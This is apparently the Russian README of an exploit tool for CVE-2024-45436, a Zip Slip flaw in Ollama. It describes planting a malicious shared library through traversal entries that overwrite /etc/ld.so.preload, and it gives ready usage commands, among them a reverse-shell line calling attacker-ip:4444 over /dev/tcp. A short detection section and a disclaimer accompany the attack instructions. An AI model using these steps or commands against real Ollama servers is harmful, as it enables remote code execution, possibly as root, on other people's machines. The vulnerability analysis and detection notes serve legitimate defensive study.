
exploit script for CVE-2024-45436
Чистая и эффективная реализация эксплойта для уязвимости обхода ZIP-путей в Ollama (CVE-2024-45436). 中文文档:README_CN.md
CVE-2024-45436 — это уязвимость обхода путей (также известная как «Zip Slip») в Ollama до версии 0.1.47. Уязвимость позволяет злоумышленникам записывать файлы в произвольные места файловой системы, используя некорректную проверку путей при извлечении ZIP-файлов.
Недостаток находится в функции extractFromZipFile в файле model.go Ollama, которая извлекает файлы модели. Когда ZIP-файл содержит записи с путями, включающими последовательности обхода каталогов (../), Ollama извлекает эти файлы за пределы целевого каталога, что потенциально позволяет злоумышленнику перезаписать критически важные системные файлы.
Данный эксплойт использует уязвимость следующим образом:
hook.so), содержащий код выполнения произвольной команды../../../../../../../../../../etc/ld.so.preload — Используется для предварительной загрузки пользовательских общих библиотек../../../../../../../../../../tmp/hook.so — Сама вредоносная общая библиотекаПри успешном выполнении полезная нагрузка запускается с теми же правами, что и служба Ollama, потенциально предоставляя удалённое выполнение кода с правами root.
python exp.py <target_url> <command>
target_url: URL уязвимого экземпляра Ollama (например, http://example.com:11434)command: Команда, которую нужно выполнить в целевой системе--no-cleanup: Не удалять временные файлы после эксплуатации (полезно для отладки)Базовое использование:
python exp.py http://target-server:11434 "id > /tmp/pwned"
Обратная оболочка:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
Этот инструмент предоставляется только для образовательных и авторизованных целей тестирования безопасности. Несанкционированное использование против систем без явного разрешения незаконно и неэтично. Автор не несёт ответственности за неправильное использование данного программного обеспечения.
Организации могут определить, уязвимы ли они, следующим образом:
/api/version/etc/ld.so.preload или /tmp/hook.soУязвимость использует некорректную проверку путей в процессе извлечения ZIP-файлов в Ollama. При загрузке модели через API приложение извлекает файлы из ZIP-архива без надлежащей санитизации путей, что позволяет проводить атаки с обходом каталогов.
Файл ld.so.preload используется в Linux для указания общих библиотек, которые должны быть загружены перед всеми остальными. Записывая в этот файл, злоумышленник может гарантировать, что его вредоносная библиотека будет загружена любым новым процессом, фактически захватывая выполнение программы.
Этот проект лицензирован по лицензии MIT — подробности см. в файле LICENSE.